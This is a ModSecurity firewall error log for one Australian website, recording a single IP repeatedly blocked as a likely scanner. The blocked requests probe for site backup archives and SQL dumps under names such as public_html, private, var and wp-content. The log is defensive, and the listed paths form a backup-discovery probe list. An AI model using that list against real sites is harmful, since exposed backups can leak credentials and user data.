[Fri May 15 09:59:05.888441 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:37760] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.tar.xz"] [unique_id "agZ96Qe36qIGegR4kcmBVAAAAEg"]
[Fri May 15 09:59:06.664990 2026] [:error] [pid 1189:tid 1244] [client 34.97.8.90:37770] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.7z"] [unique_id "agZ96ge36qIGegR4kcmBVQAAAFM"]
[Fri May 15 09:59:07.392931 2026] [:error] [pid 50531:tid 50536] [client 34.97.8.90:37776] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.rar"] [unique_id "agZ96x3WbFwE6voqGzrkGAAAAQM"]
[Fri May 15 09:59:08.176776 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:37790] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.gz"] [unique_id "agZ97Ae36qIGegR4kcmBVwAAAEs"]
[Fri May 15 09:59:08.947026 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:37796] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.bz2"] [unique_id "agZ97Ae36qIGegR4kcmBWAAAAFE"]
[Fri May 15 09:59:09.725878 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:37812] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.zst"] [unique_id "agZ97dmMhqLvs0GYixkb3AAAAMc"]
[Fri May 15 09:59:10.446856 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:37828] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.sql.gz"] [unique_id "agZ97tmMhqLvs0GYixkb3gAAANQ"]
[Fri May 15 09:59:11.179776 2026] [:error] [pid 1295:tid 1321] [client 34.97.8.90:37840] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.sql.bz2"] [unique_id "agZ979mMhqLvs0GYixkb4QAAANc"]
[Fri May 15 09:59:11.943319 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:37852] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public_html.sql"] [unique_id "agZ97we36qIGegR4kcmBXQAAAEc"]
[Fri May 15 09:59:12.675723 2026] [:error] [pid 1295:tid 1309] [client 34.97.8.90:37862] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.zip"] [unique_id "agZ98NmMhqLvs0GYixkb5AAAAMs"]
[Fri May 15 09:59:13.414250 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:37872] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.tar.gz"] [unique_id "agZ98Qe36qIGegR4kcmBXwAAAFY"]
[Fri May 15 09:59:14.112819 2026] [:error] [pid 1190:tid 1265] [client 34.97.8.90:37880] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.tgz"] [unique_id "agZ98tqiXrD7hne4gFbJbQAAAI0"]
[Fri May 15 09:59:14.827430 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:45250] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.tar"] [unique_id "agZ98ge36qIGegR4kcmBYAAAAE8"]
[Fri May 15 09:59:15.577198 2026] [:error] [pid 1189:tid 1230] [client 34.97.8.90:45254] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.tar.bz2"] [unique_id "agZ98we36qIGegR4kcmBYgAAAEU"]
[Fri May 15 09:59:16.326417 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:45258] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.tar.xz"] [unique_id "agZ99Ae36qIGegR4kcmBYwAAAEo"]
[Fri May 15 09:59:17.099539 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:45262] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.7z"] [unique_id "agZ99R3WbFwE6voqGzrkIgAAARE"]
[Fri May 15 09:59:17.858793 2026] [:error] [pid 50531:tid 50551] [client 34.97.8.90:45278] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.rar"] [unique_id "agZ99R3WbFwE6voqGzrkIwAAARI"]
[Fri May 15 09:59:18.587822 2026] [:error] [pid 51234:tid 51241] [client 34.97.8.90:45286] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.gz"] [unique_id "agZ99t72N9CbeiqcqgPUcAAAAUU"]
[Fri May 15 09:59:19.266071 2026] [:error] [pid 51234:tid 51244] [client 34.97.8.90:45302] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.bz2"] [unique_id "agZ99972N9CbeiqcqgPUcQAAAUg"]
[Fri May 15 09:59:20.011396 2026] [:error] [pid 1190:tid 1271] [client 34.97.8.90:45310] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.zst"] [unique_id "agZ9-NqiXrD7hne4gFbJbwAAAJM"]
[Fri May 15 09:59:20.717906 2026] [:error] [pid 1295:tid 1321] [client 34.97.8.90:45324] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.sql.gz"] [unique_id "agZ9-NmMhqLvs0GYixkb6QAAANc"]
[Fri May 15 09:59:21.462399 2026] [:error] [pid 1188:tid 1220] [client 34.97.8.90:45330] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.sql.bz2"] [unique_id "agZ9-dY68iW8yuNkNzPw0wAAABc"]
[Fri May 15 09:59:22.250274 2026] [:error] [pid 1188:tid 1214] [client 34.97.8.90:45338] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public.sql"] [unique_id "agZ9-tY68iW8yuNkNzPw1AAAABE"]
[Fri May 15 09:59:22.987925 2026] [:error] [pid 1188:tid 1206] [client 34.97.8.90:45350] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.zip"] [unique_id "agZ9-tY68iW8yuNkNzPw1QAAAAk"]
[Fri May 15 09:59:23.716640 2026] [:error] [pid 1190:tid 1255] [client 34.97.8.90:45354] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.tar.gz"] [unique_id "agZ9-9qiXrD7hne4gFbJcQAAAIM"]
[Fri May 15 09:59:24.483422 2026] [:error] [pid 50531:tid 50546] [client 34.97.8.90:45360] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.tgz"] [unique_id "agZ9_B3WbFwE6voqGzrkJQAAAQ0"]
[Fri May 15 09:59:25.208658 2026] [:error] [pid 1189:tid 1227] [client 34.97.8.90:40012] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.tar"] [unique_id "agZ9_Qe36qIGegR4kcmBZQAAAEI"]
[Fri May 15 09:59:25.943081 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:40018] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.tar.bz2"] [unique_id "agZ9_dqiXrD7hne4gFbJdAAAAJc"]
[Fri May 15 09:59:26.711631 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:40026] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.tar.xz"] [unique_id "agZ9_t72N9CbeiqcqgPUcgAAAVg"]
[Fri May 15 09:59:27.456906 2026] [:error] [pid 50531:tid 50536] [client 34.97.8.90:40030] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.7z"] [unique_id "agZ9_x3WbFwE6voqGzrkJgAAAQM"]
[Fri May 15 09:59:28.265962 2026] [:error] [pid 1188:tid 1201] [client 34.97.8.90:40042] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.rar"] [unique_id "agZ-ANY68iW8yuNkNzPw1gAAAAQ"]
[Fri May 15 09:59:29.027871 2026] [:error] [pid 1295:tid 1307] [client 34.97.8.90:40058] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.gz"] [unique_id "agZ-AdmMhqLvs0GYixkb7AAAAMk"]
[Fri May 15 09:59:29.784144 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:40062] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.bz2"] [unique_id "agZ-Ad72N9CbeiqcqgPUdQAAAUY"]
[Fri May 15 09:59:30.546266 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:40068] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.zst"] [unique_id "agZ-Ah3WbFwE6voqGzrkKwAAARU"]
[Fri May 15 09:59:31.269908 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:40070] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.sql.gz"] [unique_id "agZ-Ax3WbFwE6voqGzrkLQAAAQs"]
[Fri May 15 09:59:31.995289 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:40086] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.sql.bz2"] [unique_id "agZ-Ax3WbFwE6voqGzrkMgAAARE"]
[Fri May 15 09:59:32.703077 2026] [:error] [pid 51234:tid 51238] [client 34.97.8.90:40096] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/private.sql"] [unique_id "agZ-BN72N9CbeiqcqgPUfQAAAUI"]
[Fri May 15 09:59:33.406323 2026] [:error] [pid 50531:tid 50533] [client 34.97.8.90:40102] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.zip"] [unique_id "agZ-BR3WbFwE6voqGzrkNgAAAQA"]
[Fri May 15 09:59:34.120405 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:40118] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.tar.gz"] [unique_id "agZ-Bt72N9CbeiqcqgPUhgAAAUc"]
[Fri May 15 09:59:34.859966 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:44672] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.tgz"] [unique_id "agZ-Bh3WbFwE6voqGzrkOAAAAQI"]
[Fri May 15 09:59:35.592346 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:44680] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.tar"] [unique_id "agZ-B972N9CbeiqcqgPUkQAAAU0"]
[Fri May 15 09:59:36.328488 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:44694] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.tar.bz2"] [unique_id "agZ-CN72N9CbeiqcqgPUlwAAAVc"]
[Fri May 15 09:59:37.115757 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:44706] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.tar.xz"] [unique_id "agZ-Cd72N9CbeiqcqgPUnQAAAUw"]
[Fri May 15 09:59:37.902668 2026] [:error] [pid 1188:tid 1221] [client 34.97.8.90:44714] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.7z"] [unique_id "agZ-CdY68iW8yuNkNzPw2AAAABg"]
[Fri May 15 09:59:38.734554 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:44728] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.rar"] [unique_id "agZ-Cge36qIGegR4kcmBbAAAAE8"]
[Fri May 15 09:59:39.544668 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:44738] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.gz"] [unique_id "agZ-C972N9CbeiqcqgPUsgAAAVc"]
[Fri May 15 09:59:40.317375 2026] [:error] [pid 50531:tid 50540] [client 34.97.8.90:44748] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.bz2"] [unique_id "agZ-DB3WbFwE6voqGzrkOQAAAQc"]
[Fri May 15 09:59:41.083006 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:44758] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.zst"] [unique_id "agZ-Dd72N9CbeiqcqgPUvQAAAU8"]
[Fri May 15 09:59:41.840095 2026] [:error] [pid 1190:tid 1268] [client 34.97.8.90:44770] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.sql.gz"] [unique_id "agZ-DdqiXrD7hne4gFbJfAAAAJA"]
[Fri May 15 09:59:42.596526 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:44778] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.sql.bz2"] [unique_id "agZ-Dt72N9CbeiqcqgPUyQAAAUs"]
[Fri May 15 09:59:43.384211 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:44788] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/var.sql"] [unique_id "agZ-D9mMhqLvs0GYixkb8wAAAMc"]
[Fri May 15 09:59:44.075561 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:44794] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/storage.zip"] [unique_id "agZ-EN72N9CbeiqcqgPU2QAAAVc"]
[Fri May 15 09:59:44.744731 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:44810] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/storage.tar.gz"] [unique_id "agZ-ENmMhqLvs0GYixkb9AAAANQ"]
[Fri May 15 09:59:53.797531 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:33264] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/storage.sql"] [unique_id "agZ-Gd72N9CbeiqcqgPU_gAAAUc"]
[Fri May 15 09:59:54.509106 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:33280] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.zip"] [unique_id "agZ-Gh3WbFwE6voqGzrkOgAAAQs"]
[Fri May 15 09:59:55.233354 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:36690] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content.tar.gz"] [unique_id "agZ-G972N9CbeiqcqgPVAAAAAUY"]
